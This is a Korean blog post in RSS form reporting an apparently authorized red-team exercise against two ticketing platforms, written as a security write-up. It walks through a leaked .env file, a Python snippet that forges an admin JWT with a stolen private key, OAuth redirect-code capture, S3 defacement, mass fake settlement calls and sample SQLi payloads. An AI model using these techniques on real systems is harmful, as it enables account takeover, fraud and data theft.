<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>HoHk.log</title>
        <link>https://velog.io/</link>
        <description>nyo님 좋아합니다!</description>
        <lastBuildDate>Sun, 05 Apr 2026 10:12:36 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>HoHk.log</title>
            <url>https://velog.velcdn.com/images/9_000k/profile/b91cefb6-81c4-4cf7-a16f-c8b5b1ecca8f/image.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. HoHk.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/9_000k" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[kt cloud tech up 2,4팀 침투 테스트 보고서 및 후기]]></title>
            <link>https://velog.io/@9_000k/kt-cloud-tech-up-24%ED%8C%80-%EC%B9%A8%ED%88%AC-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EB%B3%B4%EA%B3%A0%EC%84%9C-%EB%B0%8F-%ED%9B%84%EA%B8%B0</link>
            <guid>https://velog.io/@9_000k/kt-cloud-tech-up-24%ED%8C%80-%EC%B9%A8%ED%88%AC-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EB%B3%B4%EA%B3%A0%EC%84%9C-%EB%B0%8F-%ED%9B%84%EA%B8%B0</guid>
            <pubDate>Sun, 05 Apr 2026 10:12:36 GMT</pubDate>
            <description><![CDATA[<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>클라우드 보안 훈련에서 72시간 동안 KBO 티켓 예매 플랫폼 2개를 대상으로 레드팀 침투테스트를  수행했다</li>
<li>총 <strong>65건의 취약점</strong>을 발견했고, 그 중 CRITICAL 15건 — 금융 사기, 관리자 장악, 서비스 중단, 데이터 변조까지 전부 성공했다</li>
<li>GitHub에 올라간 <code>.env</code> 파일 하나가 전체 인프라 장악으로 이어지는 걸 직접 증명했다</li>
</ol>
<blockquote>
<p>모든 민감 정보(도메인, IP, 크리덴셜)는 마스킹 처리했다. 인가된 보안 훈련 환경에서 수행한 테스트다.</p>
</blockquote>
<hr>
<h2 id="시작하며">시작하며</h2>
<p>클라우드 기반 72시간 사이버보안 훈련에 레드팀으로 참가했다. 대상은 KBO 야구 티켓 예매 플랫폼 2개. 블루팀(방어팀)이 실시간으로 대응하는 상황에서, 혼자서 2개 플랫폼을 동시에 공격해야 했다.</p>
<p>72시간이면 넉넉해 보이지만, 인프라 구축부터 정찰, 공격, 보고서까지 전부 혼자 해야 하니까 시간이 진짜 부족했다. 특히 Day 3에 IP가 블랙리스트에 걸려서 VPN 전환하느라 시간 날린 게 아쉽다.</p>
<p>결과적으로 Target A에서 38건, Target B에서 27건, 총 <strong>65건</strong>을 찾아냈다. 금융 사기 벡터부터 JWT 위조, S3 변조, 기업 이메일 탈취까지 꽤 다양한 공격을 성공시켰다.</p>
<hr>
<h2 id="대상-시스템-분석">대상 시스템 분석</h2>
<p>두 플랫폼 다 Spring Boot + AWS EKS + Cloudflare 조합이었다. 구조가 비슷해 보이지만, 보안 수준은 완전히 달랐다.</p>
<h3 id="target-a--티켓-예매--리세일-플랫폼">Target A — 티켓 예매 + 리세일 플랫폼</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>스택</th>
</tr>
</thead>
<tbody><tr>
<td>인프라</td>
<td>AWS EKS (K8s) + Cloudflare CDN/WAF</td>
</tr>
<tr>
<td>프록시</td>
<td>Envoy/Istio 서비스 메시</td>
</tr>
<tr>
<td>백엔드</td>
<td>Spring Boot (6개 마이크로서비스)</td>
</tr>
<tr>
<td>프론트엔드</td>
<td>React (Rsbuild)</td>
</tr>
<tr>
<td>인증</td>
<td>카카오/네이버/구글 OAuth + JWT (RS256)</td>
</tr>
<tr>
<td>CI/CD</td>
<td>ArgoCD v3.3.2 + Argo Rollouts</td>
</tr>
<tr>
<td>모니터링</td>
<td>Grafana + Prometheus(Mimir) + Loki + Tempo</td>
</tr>
</tbody></table>
<p>6개 마이크로서비스가 각각 다른 포트에서 돌아가고 있었다 — 유저(8081), 야구구단(8082), 티켓팅(8083), 결제(8084), 리셀(8085), 대기열(8086). 서비스 메시까지 제대로 구성해놔서 아키텍처 자체는 잘 만들었는데, 문제는 <strong>인가(Authorization) 처리가 통째로 빠져있었다</strong>는 거다.</p>
<h3 id="target-b--티켓-예매-플랫폼">Target B — 티켓 예매 플랫폼</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>스택</th>
</tr>
</thead>
<tbody><tr>
<td>인프라</td>
<td>AWS EKS + Cloudflare (prod만, staging은 없음!)</td>
</tr>
<tr>
<td>백엔드</td>
<td>Spring Boot (API Gateway + 4 마이크로서비스)</td>
</tr>
<tr>
<td>프론트엔드</td>
<td>Vercel (staging)</td>
</tr>
<tr>
<td>메시징</td>
<td>Apache Kafka</td>
</tr>
<tr>
<td>DB</td>
<td>PostgreSQL + Redis</td>
</tr>
<tr>
<td>인증</td>
<td>카카오 OAuth + JWT (RS256)</td>
</tr>
</tbody></table>
<p>Target B는 prod에 Cloudflare IP 화이트리스트를 걸어놔서 외부에서 접근 자체가 안 됐다. 근데 <strong>staging 환경이 ALB 직접 노출</strong> 상태였다. Cloudflare가 없으니 WAF도 없고, 그대로 뚫렸다.</p>
<hr>
<h2 id="공격-인프라-구축">공격 인프라 구축</h2>
<p>훈련 시작하자마자 AWS에 EC2 3대를 띄워서 공격 인프라를 구축했다. 인프라 없이 침투테스트하는 건 맨손으로 싸우는 거나 마찬가지다.</p>
<pre><code> ┌──────────────────────────────────────────────────────┐
 │                  Attack Infrastructure                │
 ├───────────────┬───────────────┬──────────────────────┤
 │   C2 Server   │  Redirector   │     Operator         │
 │  (Private IP) │  (Public IP)  │    (Public IP)       │
 │               │               │                      │
 │  Sliver C2    │  Nginx RP     │  Nmap, Masscan       │
 │  Metasploit   │  socat relay  │  Nuclei, SQLMap      │
 │  Chisel       │  OAuth 캡처   │  Hydra, Nikto        │
 │  Ligolo-ng    │  서버         │  AWS CLI, pyjwt      │
 └───────────────┴───────────────┴──────────────────────┘</code></pre><p><strong>C2 서버</strong>는 Sliver를 메인으로 썼다. Sliver는 Go 기반 C2 프레임워크인데, Cobalt Strike보다 탐지 회피가 좋고 무료다. 다만 이번 훈련에서는 웹 앱 공격이 메인이라 C2를 본격적으로 쓸 일은 별로 없었다.</p>
<p><strong>리다이렉터</strong>는 Nginx 리버스프록시로 구성했다. C2 콜백용이면서 동시에 <strong>OAuth 인증 코드 캡처 서버</strong>로도 활용했다. Target A에서 OAuth redirect_uri 검증이 없는 걸 발견하고, 여기로 인증 코드를 빼돌리는 구조를 만들었다.</p>
<p><strong>DNS</strong>는 공격 도메인 하나를 사서 서브도메인 4개(C2 콜백, 백업, 대체, 오퍼레이터)를 설정했다.</p>
<hr>
<h2 id="day-1-정찰--초기-침투">Day 1: 정찰 + 초기 침투</h2>
<h3 id="js-번들-역공학-target-a">JS 번들 역공학 (Target A)</h3>
<p>가장 먼저 한 건 프론트엔드 JS 번들 분석이다. 별도 도구 없이 curl이랑 브라우저 DevTools만으로 <strong>15분 만에</strong> 핵심 정보 대부분을 뽑아냈다.</p>
<p>React SPA는 빌드하면 JS 번들에 모든 클라이언트 로직이 들어간다. API 엔드포인트, OAuth 설정, 라우팅 구조 전부 다. 난독화를 했다 해도 결국 브라우저에서 실행되는 코드니까, 시간만 들이면 다 읽을 수 있다.</p>
<table>
<thead>
<tr>
<th>수집 정보</th>
<th>방법</th>
<th>소요 시간</th>
</tr>
</thead>
<tbody><tr>
<td>28개 API 엔드포인트</td>
<td>JS 번들 역공학</td>
<td>3분</td>
</tr>
<tr>
<td>카카오 OAuth Client ID</td>
<td>JS 번들에서 추출</td>
<td>2분</td>
</tr>
<tr>
<td>인프라 스택 (Spring Boot + Envoy + EKS)</td>
<td>HTTP 응답 헤더 분석</td>
<td>3분</td>
</tr>
<tr>
<td>ArgoCD v3.3.2 서브도메인</td>
<td>직접 접근</td>
<td>1분</td>
</tr>
<tr>
<td>Grafana 12.4.0 서브도메인</td>
<td>직접 접근</td>
<td>1분</td>
</tr>
<tr>
<td>Cloudflare WAF 활성 확인</td>
<td>SQLi 시도 -&gt; 403</td>
<td>1분</td>
</tr>
</tbody></table>
<p>API 엔드포인트 28개를 한 번에 확보한 게 컸다. 일반적으로 API 매핑은 시간이 오래 걸리는 작업인데, JS 번들에 다 나와있으니 그냥 읽기만 하면 됐다.</p>
<p>Day 3에는 더 깊이 들어가서 dev + prod 번들 10개를 전부 다운로드해서 완전 역공학을 수행했다.</p>
<pre><code>[핵심 발견]
대기열 토큰 JTI = &quot;queue-token-&quot; + gameId

gameId는 공개 API(/api/v1/games/schedules)에서 누구나 조회 가능
-&gt; 대기열 토큰을 예측해서 위조할 수 있다
-&gt; 수만 명이 대기 중인 대기열을 건너뛰고 바로 티켓 구매 가능</code></pre><p>여기서 <strong>Queue Token</strong>이라는 개념을 짚고 넘어가야 한다. 인기 경기 티켓팅 때 동시 접속자가 몰리면 대기열(Queue)에 넣어서 순서대로 입장시키는 구조다. 이 대기열을 통과했다는 증명이 Queue Token인데, 이 토큰의 고유 식별자(JTI)가 <code>queue-token-${gameId}</code> 형태로 <strong>완전히 예측 가능</strong>했다. gameId만 알면 대기열 안 거치고 바로 좌석 선택 페이지로 들어갈 수 있는 거다. 매크로 업자한테는 꿈 같은 취약점이다.</p>
<h3 id="github-osint-target-b--env-하나로-전부-털림">GitHub OSINT (Target B) — .env 하나로 전부 털림</h3>
<p>Target B는 GitHub 공개 레포에서 <code>.env</code> 파일이 그대로 올라가 있었다. 솔직히 이건 정찰이라기보다 그냥 <strong>선물</strong>이었다.</p>
<pre><code>[.env에서 발견한 시크릿 목록]

1. JWT RSA Private Key (2048bit 전문)
2. 대기열 전용 RSA Private Key  
3. AWS IAM Access Key + Secret Key
4. OAuth Client ID + Client Secret
5. PostgreSQL 크리덴셜 (비밀번호가 1234...)
6. DB 관리도구 계정 3개
7. 개발 계정 (dev / 1234)
8. DB 암호화 키
9. Internal API Key
10. Gmail App Password</code></pre><p><strong>RSA Private Key</strong>가 뭐냐면, JWT 토큰을 서명하는 데 쓰는 비밀 키다. 서버가 &quot;이 토큰은 내가 발급한 게 맞다&quot;라고 증명하는 서명을 만들 때 이 키를 사용한다. 이 키가 유출되면? 공격자가 아무 권한의 토큰이든 자유롭게 만들어낼 수 있다. ADMIN이든 뭐든.</p>
<p>이 <code>.env</code> 파일 하나가 이후 <strong>전체 공격 체인의 출발점</strong>이 됐다. JWT 위조로 관리자 장악, AWS 키로 S3 변조, Gmail 비밀번호로 이메일 탈취까지. 하나의 실수가 도미노처럼 전부 무너뜨린 거다.</p>
<h3 id="argocd-무인가-접근-target-a">ArgoCD 무인가 접근 (Target A)</h3>
<p>ArgoCD는 K8s 환경에서 GitOps 기반 배포를 자동화하는 도구다. Git 레포에 설정을 push하면 ArgoCD가 자동으로 클러스터에 반영하는 구조.</p>
<p>이 ArgoCD가 Google OAuth(Dex)로 인증을 처리하고 있었는데, <strong>허용 도메인 제한이 없었다</strong>. 아무 Gmail 계정으로 로그인이 됐다.</p>
<pre><code>[로그인 결과]
{&quot;loggedIn&quot;: true, &quot;username&quot;: &quot;[공격자]@gmail.com&quot;}</code></pre><p>ArgoCD에 들어가니까 <strong>앱 배포 구조, Dex JWKS 공개키 2개, 리소스 오버라이드 설정</strong>이 전부 보였다. RBAC으로 읽기 전용 권한만 줬기 때문에 클러스터/앱 생성은 403이었지만, 내부 아키텍처 파악에는 충분했다.</p>
<h3 id="oauth-redirect-uri-미검증-target-a">OAuth Redirect URI 미검증 (Target A)</h3>
<p><strong>OAuth</strong>는 카카오/네이버/구글 같은 외부 서비스로 로그인하는 방식이다. 사용자가 카카오에서 로그인하면, 카카오가 &quot;이 사람 인증했어&quot;라는 코드를 <code>redirect_uri</code>로 보내준다. 이 <code>redirect_uri</code>는 반드시 <strong>우리 서비스 도메인만</strong> 허용해야 한다.</p>
<p>근데 Target A에서는 <code>redirect_uri</code>를 공격자 도메인으로 바꿔도 정상 리다이렉트가 됐다. 이게 왜 위험하냐면:</p>
<pre><code>[공격 시나리오]

1. 공격자가 조작된 카카오 로그인 URL을 피싱으로 배포
   (redirect_uri를 공격자 서버로 변경)
2. 피해자가 카카오 로그인 수행 (정상 카카오 페이지라서 의심 안 함)
3. 인증 코드가 공격자 서버로 전달됨
4. 공격자가 코드 -&gt; 토큰 교환 -&gt; 피해자 계정 탈취</code></pre><p>이건 발견하자마자 리다이렉터에 <strong>OAuth 캡처 서버를 배포</strong>했다. 실제로 인증 코드를 캡처하는 구조까지 만들어놨다.</p>
<h3 id="전체-api-rbac-부재-발견-target-a">전체 API RBAC 부재 발견 (Target A)</h3>
<p>여기서부터 진짜 심각한 취약점들이 나오기 시작했다.</p>
<p>dev 환경에서 테스트 유저 API로 <strong>일반 사용자(MEMBER) 토큰</strong>을 발급받았다. 그리고 이 토큰으로 관리자 전용 엔드포인트에 요청을 보냈다.</p>
<pre><code>[예상]
403 Forbidden — &quot;권한이 없습니다&quot;

[실제]
400 Bad Request — &quot;시/군/구 값은 필수 항목입니다&quot;</code></pre><p>403이 아니라 400이 온다? 이건 <strong>권한 검증 자체를 안 하고 있다</strong>는 뜻이다. 서버가 &quot;너 관리자 아닌데?&quot; 하는 게 아니라 &quot;필드가 빠졌어&quot;라고 응답한다는 건, 요청이 권한 체크를 통과해서 비즈니스 로직까지 도달했다는 거다.</p>
<p><strong>인증(Authentication)</strong>과 <strong>인가(Authorization)</strong>는 완전히 다른 개념이다. 인증은 &quot;너 누구야?&quot;를 확인하는 거고, 인가는 &quot;너 이거 할 수 있어?&quot;를 확인하는 거다. Target A는 인증은 되어있는데 인가가 통째로 빠져있었다. 토큰만 있으면 MEMBER든 ADMIN이든 상관없이 뭐든 할 수 있었다.</p>
<p>21개 이상의 관리자 엔드포인트를 전부 테스트했고, <strong>전부 동일한 결과</strong>였다.</p>
<hr>
<h2 id="day-1-핵심-공격-성과">Day 1: 핵심 공격 성과</h2>
<h3 id="정산-api-금융-사기--200건-target-a">정산 API 금융 사기 — 200건+ (Target A)</h3>
<p>RBAC이 없다는 걸 확인하고 바로 <strong>정산 API</strong>를 노렸다. 정산(Settlement)이란 리셀 거래에서 매도자에게 돈을 지급하는 프로세스다.</p>
<pre><code>PATCH /api/v1/[redacted]/orders/{random-uuid}/settled
-&gt; 200 OK</code></pre><p>랜덤 UUID를 넣어서 요청하면 <strong>200 OK</strong>가 온다. 존재하지도 않는 주문에 대해 정산 처리가 성공한다. 반복 스크립트를 돌려서 <strong>200건 이상의 허위 정산</strong>을 처리했다 — 30건, 50건, 100건, 20건 순으로.</p>
<p>실제 서비스였으면 이건 <strong>무제한 금융 사기</strong> 벡터다. 가짜 주문에 대해 정산을 쏟아부으면 자금이 빠져나간다.</p>
<p>방어팀이 Day 2에 403 패치를 완료했다. 빠르게 대응한 편이다.</p>
<h3 id="jwt-위조---관리자-완전-장악-target-b">JWT 위조 -&gt; 관리자 완전 장악 (Target B)</h3>
<p>GitHub에서 발견한 RSA Private Key로 <strong>ADMIN 권한의 JWT를 위조</strong>했다. pyjwt와 cryptography 라이브러리를 사용했다.</p>
<pre><code class="language-python"># JWT 위조 코드 (민감 정보 마스킹)
import jwt
from cryptography.hazmat.primitives import serialization

# GitHub에서 탈취한 RSA Private Key 로드
private_key = open(&quot;stolen_private_key.pem&quot;, &quot;rb&quot;).read()

payload = {
    &quot;iss&quot;: &quot;[redacted]-auth-service&quot;,
    &quot;sub&quot;: &quot;1&quot;,                    # id:1 = 관리자 계정
    &quot;aud&quot;: &quot;[redacted]-api&quot;,
    &quot;auth&quot;: &quot;ROLE_ADMIN&quot;,          # 관리자 권한
    &quot;tokenType&quot;: &quot;ACCESS&quot;,
    &quot;exp&quot;: int(time.time()) + 3600 # 1시간 유효
}

token = jwt.encode(payload, private_key, algorithm=&quot;RS256&quot;)</code></pre>
<p>이 위조 토큰으로 <code>/auth/me</code>를 호출하니까:</p>
<pre><code class="language-json">{&quot;id&quot;: 1, &quot;email&quot;: &quot;[redacted]@gmail.com&quot;, &quot;nickname&quot;: &quot;[방어팀] 개발팀&quot;}</code></pre>
<p><strong>id:1 관리자 계정을 완전히 장악</strong>했다. Staging 서버의 모든 API에 관리자 권한으로 접근 가능한 상태.</p>
<h3 id="aws-s3-defacement-target-b">AWS S3 Defacement (Target B)</h3>
<p><code>.env</code>에서 나온 AWS IAM Access Key로 AWS CLI 접근을 시도했다.</p>
<pre><code>[공격 흐름]

1. aws sts get-caller-identity -&gt; 성공 (IAM User 확인)
2. S3 버킷 열거 -&gt; [bucket-name] 버킷 접근 가능
3. 사용자 업로드 이미지 파일 다운로드 (데이터 유출)
4. 해킹 증거 파일 업로드 (Defacement)
   - hacked.html, proof.txt 업로드 성공</code></pre><p><code>aws sts get-caller-identity</code>는 &quot;지금 이 AWS 키가 누구 것이냐&quot;를 확인하는 명령어다. 이게 성공하면 해당 IAM 유저의 권한 범위 내에서 뭐든 할 수 있다. 이 키는 S3 presigned URL 생성용이라 S3 접근 권한이 있었고, 실제로 파일을 다운로드하고 업로드하는 것까지 성공했다.</p>
<h3 id="gmail-기업-이메일-탈취-target-b">Gmail 기업 이메일 탈취 (Target B)</h3>
<p><code>.env</code>에 Gmail App Password까지 있었다. Gmail App Password는 2FA가 걸린 Gmail 계정에서 외부 앱이 접근할 수 있게 발급하는 비밀번호다.</p>
<pre><code>[결과]
- SMTP 로그인 성공 (smtp.gmail.com:587) -&gt; 이메일 발송 가능
- IMAP 접속 -&gt; 24개 이메일 전체 열람
- 이 계정으로 피싱 이메일 보내면 정상 이메일과 구분 불가</code></pre><p>24개 이메일에 기업 내부 커뮤니케이션이 들어있었다. 실제 공격이었으면 여기서 추가 정보를 뽑아서 소셜 엔지니어링에 활용했을 거다.</p>
<hr>
<h2 id="day-2-심화-공격--방어팀-공방">Day 2: 심화 공격 + 방어팀 공방</h2>
<h3 id="cloudflare-workers-dos-target-a">Cloudflare Workers DoS (Target A)</h3>
<p>이건 좀 예상 밖이었다. Target A가 Cloudflare Workers <strong>무료 플랜</strong>을 쓰고 있었는데, 무료 플랜은 일일 요청 한도가 100K다.</p>
<p>스캐닝이랑 일반 트래픽이 합쳐지면서 이 한도를 넘겼고, <strong>전체 서비스가 중단</strong>됐다.</p>
<pre><code>error_code: 1027
error_name: &quot;workers_daily_limit&quot;
-&gt; 전체 서비스 다운 (최대 24시간)</code></pre><p>그리고 더 심각한 DoS 벡터를 하나 더 발견했다. 토큰이 만료되면 프론트엔드가 <code>reissue</code> 엔드포인트로 재발급을 시도하는데, <code>reissue</code>가 500 에러를 내면 원래 API를 다시 호출하고, 또 401이 오고, 또 <code>reissue</code>를 하고... <strong>무한 루프</strong>에 빠진다.</p>
<pre><code>만료 토큰 -&gt; 401 -&gt; reissue -&gt; 500 -&gt; 원래 API -&gt; 401 -&gt; reissue -&gt; 500 -&gt; ...
(무한 반복)</code></pre><p>한 명의 사용자가 이 루프에 빠지면 <strong>수 분 안에 100K 한도를 혼자서 소진</strong>할 수 있다. 무료 플랜의 DoS 벡터가 두 개나 된 거다.</p>
<h3 id="grafana-메트릭-7748줄-탈취-target-a">Grafana 메트릭 7,748줄 탈취 (Target A)</h3>
<p>Grafana는 모니터링 대시보드 도구다. Prometheus에서 수집한 메트릭을 시각화해주는 건데, <code>/metrics</code> 엔드포인트가 인증 없이 열려있었다.</p>
<pre><code>[비인증 접근으로 확보한 정보]
- 데이터소스 5개 (Prometheus, Loki, Tempo, Pyroscope, Alertmanager)
- 관리자 1명
- 대시보드 38개
- 폴더 5개  
- admin 요청 98회
- Feature Toggle 68건 전체 노출</code></pre><p>Grafana Feature Toggle이 68건이나 노출된 게 특히 중요한데, 이 중에 <code>enableSCIM(ON)</code>, <code>dashgpt(ON)</code>, <code>kubernetesDashboards(ON)</code>, <code>awsDatasourcesTempCredentials(ON)</code> 같은 보안 관련 설정이 다 보였다. 공격자 입장에서 어떤 기능이 켜져있는지 알면 공격 벡터를 좁힐 수 있다.</p>
<h3 id="방어팀-실시간-패치">방어팀 실시간 패치</h3>
<p>72시간 동안 방어팀이 실시간으로 대응했다. Day 1에 터진 정산 API를 Day 2에 403으로 패치한 것처럼, 블루팀도 열심히 했다.</p>
<table>
<thead>
<tr>
<th>엔드포인트</th>
<th>Day 1</th>
<th>Day 3</th>
<th>패치</th>
</tr>
</thead>
<tbody><tr>
<td>정산 API</td>
<td>200 OK</td>
<td>403 Forbidden</td>
<td>패치 완료</td>
</tr>
<tr>
<td>좌석 섹션/등급 생성</td>
<td>400</td>
<td>403</td>
<td>패치 완료</td>
</tr>
<tr>
<td>가격 정책 설정</td>
<td>400</td>
<td>403</td>
<td>패치 완료</td>
</tr>
<tr>
<td>에스크로 해제</td>
<td>500</td>
<td>403</td>
<td>패치 완료</td>
</tr>
<tr>
<td><strong>경기 생성 (POST)</strong></td>
<td><strong>200 OK</strong></td>
<td><strong>200 OK</strong></td>
<td><strong>미패치</strong></td>
</tr>
<tr>
<td><strong>경기 수정/삭제</strong></td>
<td>—</td>
<td><strong>500</strong></td>
<td><strong>미패치</strong></td>
</tr>
</tbody></table>
<p>경기 생성 API는 끝까지 안 막혔다. Day 3에 이걸 이용해서 경기를 3건 더 만들었다.</p>
<hr>
<h2 id="day-3-최종-공격">Day 3: 최종 공격</h2>
<h3 id="ip-블랙리스트-우회">IP 블랙리스트 우회</h3>
<p>Day 3 시작하자마자 확인해보니 기존 VPN IP가 봇 탐지 시스템에 걸려서 블랙리스트에 등록되어 있었다. 방어팀의 <strong>Guardrail</strong>(행동 분석 기반 봇 탐지)이 작동한 거다.</p>
<p>VPN 서버를 전환해서 새 IP를 할당받고 공격을 계속했다. 실전에서도 IP가 차단되면 이렇게 전환하는 게 기본이다.</p>
<h3 id="프로덕션-데이터-변조-target-a">프로덕션 데이터 변조 (Target A)</h3>
<p>미패치된 경기 생성 API를 이용해서 프로덕션 환경에 직접 데이터를 주입했다.</p>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>구장</td>
<td>&quot;[레드팀]테스트구장&quot; 1건 생성</td>
</tr>
<tr>
<td>경기</td>
<td>가상 대진표로 5건 생성 (Day 2에 2건 + Day 3에 3건)</td>
</tr>
<tr>
<td>노출</td>
<td><strong>공개 일정 API에 즉시 반영</strong> — 일반 사용자에게 가짜 경기가 보이는 상태</td>
</tr>
</tbody></table>
<p><strong>MEMBER 토큰으로 프로덕션 데이터를 변조</strong>한 거다. 실제 서비스였으면 사이트 변조(Defacement)에 해당한다. 가짜 경기를 만들어놓고 티켓팅 오픈일까지 설정하면, 사용자들이 존재하지 않는 경기에 대해 티켓을 사려고 할 수도 있다.</p>
<h3 id="staging-인프라-정보-대량-유출-target-b">Staging 인프라 정보 대량 유출 (Target B)</h3>
<p>Target B의 staging에는 Cloudflare가 없어서 ALB(Application Load Balancer)가 직접 인터넷에 노출되어 있었다. 여기서 Spring Boot Actuator를 통해 내부 정보가 대량으로 유출됐다.</p>
<p><strong>Spring Boot Actuator</strong>는 앱의 상태를 모니터링하기 위한 엔드포인트 모음이다. health, metrics, info 같은 엔드포인트가 있는데, 이게 인증 없이 열려있으면 내부 아키텍처가 그대로 드러난다.</p>
<pre><code>[Actuator에서 추출한 정보]

K8s 내부 서비스 DNS:
- auth-guard.staging-webs.svc.cluster.local:8080
- queue.staging-webs.svc.cluster.local:8081
- seat.staging-webs.svc.cluster.local:8082
- order-core.staging-webs.svc.cluster.local:8083

Gateway 라우트:
- /order/clubs, /auth/token/refresh, /order/matches
- /auth/loadtest/login, /auth/loadtest/signup

서버 리소스:
- 디스크: 14.96GB / 21.4GB
- JVM 메모리: 215MB
- CPU: 1.9%
- Thread Pool MAX: 2,147,483,647 (Integer.MAX_VALUE)</code></pre><p>Thread Pool MAX가 <code>Integer.MAX_VALUE</code>다. 이건 스레드 수에 제한이 없다는 뜻인데, 무인증 엔드포인트에 동시 요청을 수만 개 보내면 스레드가 무제한으로 생성되면서 <strong>OOM(Out of Memory) Kill</strong>로 서비스가 죽을 수 있다.</p>
<h3 id="gateway-쓰기-메서드-인증-우회-target-b">Gateway 쓰기 메서드 인증 우회 (Target B)</h3>
<p>API Gateway에서 GET 요청은 무인증으로 데이터가 반환됐다. 그래서 POST/PUT/PATCH/DELETE도 시도해봤는데:</p>
<pre><code>GET    /order/clubs   -&gt; 200 OK (데이터 반환)
POST   /order/clubs   -&gt; 500 (NOT 401!)
PUT    /order/clubs/1 -&gt; 500 (NOT 401!)
PATCH  /order/clubs/1 -&gt; 500 (NOT 401!)
DELETE /order/clubs/1 -&gt; 500 (NOT 401!)</code></pre><p>전부 <strong>500이지 401이 아니다</strong>. 이 말은 Gateway가 쓰기 메서드를 인증 없이 백엔드까지 <strong>그대로 전달</strong>하고 있다는 거다. 지금은 백엔드에 해당 API가 제대로 구현 안 되어서 500이 나오지만, 구현이 완성되는 순간 무인가 변조가 바로 가능해진다. <strong>시한폭탄</strong>이다.</p>
<hr>
<h2 id="실패한-시도들">실패한 시도들</h2>
<p>성공한 것만 쓰면 포트폴리오가 아니라 자랑글이 된다. 실패 사례도 중요한데, 여기서 <strong>방어가 어디서 잘 작동했는지</strong> 보이기 때문이다.</p>
<table>
<thead>
<tr>
<th>시도</th>
<th>방법</th>
<th>결과</th>
</tr>
</thead>
<tbody><tr>
<td>Grafana CVE SSRF</td>
<td>curl SSRF payload</td>
<td>Cloudflare WAF 차단</td>
</tr>
<tr>
<td>WAF 우회 (5가지)</td>
<td>Path traversal, URL encoding, Double encoding, Case variation, Trailing dot</td>
<td><strong>전부 실패</strong> — Cloudflare가 정규화 후 매칭</td>
</tr>
<tr>
<td>JWT 알고리즘 혼동</td>
<td>HS256 (6개 비밀키), &quot;none&quot; 알고리즘</td>
<td>RS256만 수용 (방어 작동)</td>
</tr>
<tr>
<td>Grafana 비밀번호</td>
<td>admin:admin 등 15개+</td>
<td>전부 불일치</td>
</tr>
<tr>
<td>K8s API 익명 접근</td>
<td>직접 요청</td>
<td>401 Unauthorized (익명 차단)</td>
</tr>
<tr>
<td>SQLi (Staging)</td>
<td><code>OR 1=1</code>, <code>UNION SELECT</code></td>
<td>앱 레벨 보안 필터 차단</td>
</tr>
<tr>
<td>ArgoCD 권한 상승</td>
<td>클러스터/앱/GPG 접근</td>
<td>RBAC으로 403</td>
</tr>
<tr>
<td>Prod 직접 접근 (Target B)</td>
<td>Origin IP 탐색</td>
<td>IP 화이트리스트 차단</td>
</tr>
</tbody></table>
<p><strong>JWT 알고리즘 혼동 공격(Algorithm Confusion)</strong>은 좀 설명이 필요하다. JWT는 서명 알고리즘을 헤더에 명시하는데, 서버가 이걸 신뢰하면 문제가 된다. 예를 들어 RS256(비대칭)으로 서명된 토큰을 HS256(대칭)으로 바꾸고, 공개키를 비밀키로 사용해서 서명하면 검증이 통과되는 경우가 있다.</p>
<p>Target A에서 이걸 시도했는데, <strong>RS256만 수용하도록 제대로 설정</strong>되어 있어서 실패했다. 여기는 방어팀이 잘 한 부분이다.</p>
<p>Cloudflare WAF 우회도 5가지 기법을 전부 시도했지만 다 막혔다. Cloudflare가 URL을 정규화한 다음에 패턴 매칭을 하기 때문에, 단순한 인코딩 우회로는 뚫리지 않는다. WAF의 존재감을 제대로 느꼈다.</p>
<hr>
<h2 id="종합-성과">종합 성과</h2>
<table>
<thead>
<tr>
<th>지표</th>
<th>Target A</th>
<th>Target B</th>
</tr>
</thead>
<tbody><tr>
<td>CRITICAL</td>
<td>8</td>
<td>7</td>
</tr>
<tr>
<td>HIGH</td>
<td>16</td>
<td>11</td>
</tr>
<tr>
<td>MEDIUM</td>
<td>11</td>
<td>9</td>
</tr>
<tr>
<td>INFO</td>
<td>3</td>
<td>0</td>
</tr>
<tr>
<td><strong>합계</strong></td>
<td><strong>38</strong></td>
<td><strong>27</strong></td>
</tr>
</tbody></table>
<h3 id="카테고리별-주요-성과">카테고리별 주요 성과</h3>
<table>
<thead>
<tr>
<th>카테고리</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td><strong>금융 사기</strong></td>
<td>정산 API 200건+ 무인가 처리</td>
</tr>
<tr>
<td><strong>관리자 장악</strong></td>
<td>JWT 위조 -&gt; Staging 관리자 계정 완전 장악</td>
</tr>
<tr>
<td><strong>데이터 변조</strong></td>
<td>프로덕션 구장 1건 + 경기 5건 무인증 생성, S3 Defacement</td>
</tr>
<tr>
<td><strong>데이터 유출</strong></td>
<td>S3 파일, Gmail 24건, Grafana 메트릭 7,748줄, 구단 데이터</td>
</tr>
<tr>
<td><strong>서비스 중단</strong></td>
<td>Cloudflare Workers DoS + 토큰 무한재시도 DoS</td>
</tr>
<tr>
<td><strong>인프라 파악</strong></td>
<td>ArgoCD 설정, K8s 서비스 DNS 4개, API 서버 IP, Gateway 라우트 5개</td>
</tr>
<tr>
<td><strong>계정 생성</strong></td>
<td>loadtest API로 51개 무인가 계정</td>
</tr>
<tr>
<td><strong>코드 역공학</strong></td>
<td>JS 번들 10개 -&gt; Queue Token/API 체인/인증 로직 완전 복원</td>
</tr>
</tbody></table>
<hr>
<h2 id="owasp-top-10-매핑">OWASP Top 10 매핑</h2>
<p>두 플랫폼의 취약점을 OWASP Top 10에 매핑하면 이렇다.</p>
<table>
<thead>
<tr>
<th>OWASP</th>
<th>Target A</th>
<th>Target B</th>
</tr>
</thead>
<tbody><tr>
<td>A01: Broken Access Control</td>
<td>전체 API RBAC 없음, 정산 무인가, 프로덕션 변조</td>
